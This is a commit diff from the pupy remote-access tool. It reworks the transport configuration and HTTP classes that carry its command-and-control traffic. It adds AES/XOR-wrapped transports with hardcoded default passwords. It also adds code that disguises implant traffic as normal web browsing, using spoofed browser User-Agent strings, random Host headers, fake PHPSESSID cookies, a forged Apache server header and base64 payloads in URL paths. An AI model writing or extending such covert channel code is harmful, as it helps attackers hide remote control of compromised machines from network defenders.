mirror of https://github.com/n1nj4sec/pupy.git
transports conf improvements
This commit is contained in:
parent
e3b83a63e7
commit
70a956d906
|
@ -42,10 +42,15 @@ class BasePupyTransport(object):
|
|||
NewSubClass = type('CustomizedTransport', (cls,), kwargs)
|
||||
return NewSubClass
|
||||
|
||||
@classmethod
|
||||
def custom(cls, **kwargs):
|
||||
return cls.customize(**kwargs)
|
||||
|
||||
@classmethod
|
||||
def set(cls, **kwargs):
|
||||
return cls.customize(**kwargs)
|
||||
|
||||
|
||||
def on_connect(self):
|
||||
"""
|
||||
We just established a connection. Handshake time ! :-)
|
||||
|
|
|
@ -74,6 +74,18 @@ transports["ssl_proxy"]={
|
|||
"client_transport_kwargs": {},
|
||||
"server_transport_kwargs": {},
|
||||
}
|
||||
transports["ssl_aes"]={
|
||||
"info" : "TCP transport wrapped with SSL and AES",
|
||||
"server" : PupyTCPServer,
|
||||
"client": PupySSLClient,
|
||||
"client_kwargs" : {},
|
||||
"authenticator" : ssl_authenticator,
|
||||
"stream": PupySocketStream ,
|
||||
"client_transport" : AES256.set(iterations=10000),
|
||||
"server_transport" : AES256.set(iterations=10000),
|
||||
"client_transport_kwargs": {"password" : "Pupy_d3f4uld_p4sS"},
|
||||
"server_transport_kwargs": {"password" : "Pupy_d3f4uld_p4sS"},
|
||||
}
|
||||
transports["tcp_cleartext"]={
|
||||
"info" : "Simple TCP transport transmitting in cleartext",
|
||||
"server" : PupyTCPServer,
|
||||
|
@ -111,7 +123,7 @@ transports["tcp_base64"]={
|
|||
"server_transport_kwargs": {},
|
||||
}
|
||||
|
||||
transports["sync_http_cleartext"]={ #TODO fill with empty requests/response between each request/response to have only a following of req/res and not unusual things like req/req/req/res/res/req ...
|
||||
transports["http_cleartext"]={ #TODO fill with empty requests/response between each request/response to have only a following of req/res and not unusual things like req/req/req/res/res/req ...
|
||||
"info" : "TCP transport using HTTP with base64 encoded payloads (synchrone with Keep-Alive headers and one 3-way-handshake)",
|
||||
"server" : PupyTCPServer,
|
||||
"client": PupyTCPClient,
|
||||
|
@ -123,6 +135,24 @@ transports["sync_http_cleartext"]={ #TODO fill with empty requests/response betw
|
|||
"client_transport_kwargs": {},
|
||||
"server_transport_kwargs": {},
|
||||
}
|
||||
transports["http_aes"]={
|
||||
"info" : "TCP transport using HTTP+AES",
|
||||
"server" : PupyTCPServer,
|
||||
"client": PupyTCPClient,
|
||||
"client_kwargs" : {},
|
||||
"authenticator" : None,
|
||||
"stream": PupySocketStream ,
|
||||
"client_transport" : chain_transports(
|
||||
PupyHTTPClient.custom(keep_alive=True),
|
||||
AES256.custom(password=scramblesuit_passwd, iterations=10000)
|
||||
),
|
||||
"server_transport" : chain_transports(
|
||||
PupyHTTPServer,
|
||||
AES256.set(password=scramblesuit_passwd, iterations=10000)
|
||||
),
|
||||
"client_transport_kwargs": {},
|
||||
"server_transport_kwargs": {},
|
||||
}
|
||||
transports["tcp_aes"]={
|
||||
"info" : "TCP transport that encodes traffic using AES256 with a static password hashed with PBKDF2",
|
||||
"server" : PupyTCPServer,
|
||||
|
@ -135,7 +165,9 @@ transports["tcp_aes"]={
|
|||
"client_transport_kwargs": {"password": "pupy_t3st_p4s5word"},
|
||||
"server_transport_kwargs": {"password": "pupy_t3st_p4s5word"},
|
||||
}
|
||||
transports["test_stacking"]={
|
||||
|
||||
|
||||
transports["trololo"]={
|
||||
"info" : "test wrapping",
|
||||
"server" : PupyTCPServer,
|
||||
"client": PupyTCPClient,
|
||||
|
@ -143,23 +175,28 @@ transports["test_stacking"]={
|
|||
"authenticator" : None,
|
||||
"stream": PupySocketStream ,
|
||||
"client_transport" : chain_transports(
|
||||
PupyHTTPClient,
|
||||
AES256.set(password="toto123", iterations=10000),
|
||||
XOR.set(xorkey="trololo"),
|
||||
AES128.set(password="plop123", iterations=10000),
|
||||
B64Client,
|
||||
PupyHTTPClient.custom(method="POST", user_agent="Mozilla 5.0", keep_alive=True),
|
||||
B64Transport,
|
||||
PupyHTTPClient.custom(method="GET", user_agent="Mozilla-ception", keep_alive=True),
|
||||
XOR.set(xorkey="trololo"),
|
||||
AES256.custom(password="plop2", iterations=10000),
|
||||
AES128.custom(password="plop1", iterations=10000),
|
||||
),
|
||||
"server_transport" : chain_transports(
|
||||
PupyHTTPServer.custom(response_code="418 I'm a teapot"),
|
||||
B64Transport,
|
||||
PupyHTTPServer,
|
||||
AES256.set(password="toto123", iterations=10000),
|
||||
XOR.set(xorkey="trololo"),
|
||||
AES128.set(password="plop123", iterations=10000),
|
||||
B64Server,
|
||||
AES256.set(password="plop2", iterations=10000),
|
||||
AES128.set(password="plop1", iterations=10000),
|
||||
),
|
||||
"client_transport_kwargs": {},
|
||||
"server_transport_kwargs": {},
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
transports["async_http_cleartext"]={
|
||||
"info" : "TCP transport using HTTP with base64 encoded payloads (asynchrone with client pulling the server and multiple 3-way handshakes (slow))",
|
||||
"server" : PupyAsyncTCPServer,
|
||||
|
@ -167,7 +204,7 @@ transports["async_http_cleartext"]={
|
|||
"client_kwargs" : {},
|
||||
"authenticator" : None,
|
||||
"stream": PupyAsyncTCPStream ,
|
||||
"client_transport" : PupyHTTPClient,
|
||||
"client_transport" : PupyHTTPClient.set(keep_alive=False),
|
||||
"server_transport" : PupyHTTPServer,
|
||||
"client_transport_kwargs": {},
|
||||
"server_transport_kwargs": {},
|
||||
|
|
|
@ -15,32 +15,7 @@ class InvalidHTTPReq(Exception):
|
|||
class MalformedData(Exception):
|
||||
pass
|
||||
|
||||
def data2http_req(data, headers):
|
||||
request="GET /%s HTTP/1.1\r\n"%base64.b64encode(data)
|
||||
for name, value in headers.iteritems():
|
||||
request+="%s: %s\r\n"%(name, value)
|
||||
request+="\r\n"
|
||||
return request
|
||||
|
||||
def http_req2data(s):
|
||||
if not s.startswith("GET "):
|
||||
raise InvalidHTTPReq()
|
||||
first_line=s.split("\r\n")[0]
|
||||
if not first_line.endswith(" HTTP/1.1"):
|
||||
raise InvalidHTTPReq()
|
||||
method, path, http_ver=first_line.split()
|
||||
try:
|
||||
decoded_data=base64.b64decode(path[1:])
|
||||
except:
|
||||
raise MalformedData("can't decode b64")
|
||||
cookie=None
|
||||
try:
|
||||
for line in s.split("\r\n"):
|
||||
if line.startswith("Cookie"):
|
||||
cookie=(line.split(":",1)[1]).split("=")[1].strip()
|
||||
except:
|
||||
pass
|
||||
return decoded_data, cookie
|
||||
|
||||
|
||||
error_response_body="""<html><body><h1>It works!</h1>
|
||||
|
@ -61,15 +36,19 @@ class PupyHTTPTransport(BasePupyTransport):
|
|||
pass
|
||||
|
||||
class PupyHTTPClient(PupyHTTPTransport):
|
||||
client=True #to start polling
|
||||
client=True
|
||||
method="GET"
|
||||
keep_alive=True
|
||||
path="/"
|
||||
user_agent="Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
|
||||
host=None # None for random
|
||||
def __init__(self, *args, **kwargs):
|
||||
PupyHTTPTransport.__init__(self, *args, **kwargs)
|
||||
self.headers=OrderedDict({
|
||||
"Host" : "www."+''.join(random.choice(string.ascii_lowercase) for _ in range(0, random.randint(7,10)))+".com",
|
||||
"User-Agent" : "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
|
||||
"Connection" : "keep-alive",
|
||||
})
|
||||
|
||||
self.headers={"User-Agent" : self.user_agent}
|
||||
if self.host is not None:
|
||||
self.headers["Host"]=self.host
|
||||
if not "Host" in self.headers:
|
||||
self.headers["Host"]="www."+''.join(random.choice(string.ascii_lowercase) for _ in range(0, random.randint(7,10)))+".com"
|
||||
|
||||
def upstream_recv(self, data):
|
||||
"""
|
||||
|
@ -80,9 +59,16 @@ class PupyHTTPClient(PupyHTTPTransport):
|
|||
d=data.peek()
|
||||
if data.cookie is not None:
|
||||
self.headers['Cookie']="PHPSESSID=%s"%data.cookie
|
||||
encoded_data=data2http_req(d, self.headers)
|
||||
|
||||
request="%s %s%s HTTP/1.1\r\n"%(self.method, self.path, base64.b64encode(d))
|
||||
for name, value in self.headers.iteritems():
|
||||
request+="%s: %s\r\n"%(name, value)
|
||||
if self.keep_alive:
|
||||
request+="Connection: keep-alive\r\n"
|
||||
request+="\r\n"
|
||||
|
||||
data.drain(len(d))
|
||||
self.downstream.write(encoded_data)
|
||||
self.downstream.write(request)
|
||||
except Exception as e:
|
||||
logging.debug(e)
|
||||
|
||||
|
@ -93,13 +79,13 @@ class PupyHTTPClient(PupyHTTPTransport):
|
|||
d=data.peek()
|
||||
decoded_data=b""
|
||||
#let's parse HTTP responses :
|
||||
if d.startswith("HTTP/1.1 200 OK\r\n") and "\r\n\r\n" in d:
|
||||
if d.startswith("HTTP/1.1 ") and "\r\n\r\n" in d:
|
||||
while len(d)>0:
|
||||
try:
|
||||
head, rest=d.split("\r\n\r\n", 1)
|
||||
fl, headers=head.split("\r\n",1)
|
||||
fl, rheaders=head.split("\r\n",1)
|
||||
content_length=None
|
||||
for name, value in [[i.strip() for i in x.split(":",1)] for x in headers.split("\r\n")]:
|
||||
for name, value in [[i.strip() for i in x.split(":",1)] for x in rheaders.split("\r\n")]:
|
||||
if name=="Content-Length":
|
||||
content_length=int(value)
|
||||
break
|
||||
|
@ -118,8 +104,14 @@ class PupyHTTPClient(PupyHTTPTransport):
|
|||
|
||||
class PupyHTTPServer(PupyHTTPTransport):
|
||||
client=False
|
||||
response_code="200 OK"
|
||||
server_header="Apache"
|
||||
def __init__(self, *args, **kwargs):
|
||||
PupyHTTPTransport.__init__(self, *args, **kwargs)
|
||||
self.headers={
|
||||
"Content-Type" : "text/html; charset=utf-8",
|
||||
"Server" : self.server_header,
|
||||
}
|
||||
|
||||
def upstream_recv(self, data):
|
||||
"""
|
||||
|
@ -128,9 +120,9 @@ class PupyHTTPServer(PupyHTTPTransport):
|
|||
try:
|
||||
d=data.peek()
|
||||
encoded_data=base64.b64encode(d)
|
||||
response="HTTP/1.1 200 OK\r\n"
|
||||
response+="Server: Apache\r\n"
|
||||
response+="Content-Type: text/html; charset=utf-8\r\n"
|
||||
response="HTTP/1.1 %s\r\n"%self.response_code
|
||||
for name, value in self.headers.iteritems():
|
||||
response+="%s: %s\r\n"%(name, value)
|
||||
response+="Content-Length: %s\r\n"%len(encoded_data)
|
||||
response+="\r\n"
|
||||
response+=encoded_data
|
||||
|
@ -139,6 +131,26 @@ class PupyHTTPServer(PupyHTTPTransport):
|
|||
except Exception as e:
|
||||
logging.debug(e)
|
||||
|
||||
def http_req2data(self, s):
|
||||
if not s.startswith(("GET ", "POST ", "HEAD ", "PUT ")):
|
||||
raise InvalidHTTPReq()
|
||||
first_line=s.split("\r\n")[0]
|
||||
if not first_line.endswith(" HTTP/1.1"):
|
||||
raise InvalidHTTPReq()
|
||||
method, path, http_ver=first_line.split()
|
||||
try:
|
||||
decoded_data=base64.b64decode(path[1:])
|
||||
except:
|
||||
raise MalformedData("can't decode b64")
|
||||
cookie=None
|
||||
try:
|
||||
for line in s.split("\r\n"):
|
||||
if line.startswith("Cookie"):
|
||||
cookie=(line.split(":",1)[1]).split("=")[1].strip()
|
||||
except:
|
||||
pass
|
||||
return decoded_data, cookie
|
||||
|
||||
def downstream_recv(self, data):
|
||||
"""
|
||||
HTTP requests to raw data
|
||||
|
@ -152,7 +164,7 @@ class PupyHTTPServer(PupyHTTPTransport):
|
|||
for req in tab:
|
||||
try:
|
||||
if req:
|
||||
newdata, cookie = http_req2data(req)
|
||||
newdata, cookie = self.http_req2data(req)
|
||||
decoded_data+=newdata
|
||||
data.cookie=cookie
|
||||
data.drain(len(req)+4)
|
||||
|
@ -167,4 +179,3 @@ class PupyHTTPServer(PupyHTTPTransport):
|
|||
self.upstream.write(decoded_data)
|
||||
except Exception as e:
|
||||
logging.debug(e)
|
||||
|
||||
|
|
Loading…
Reference in New Issue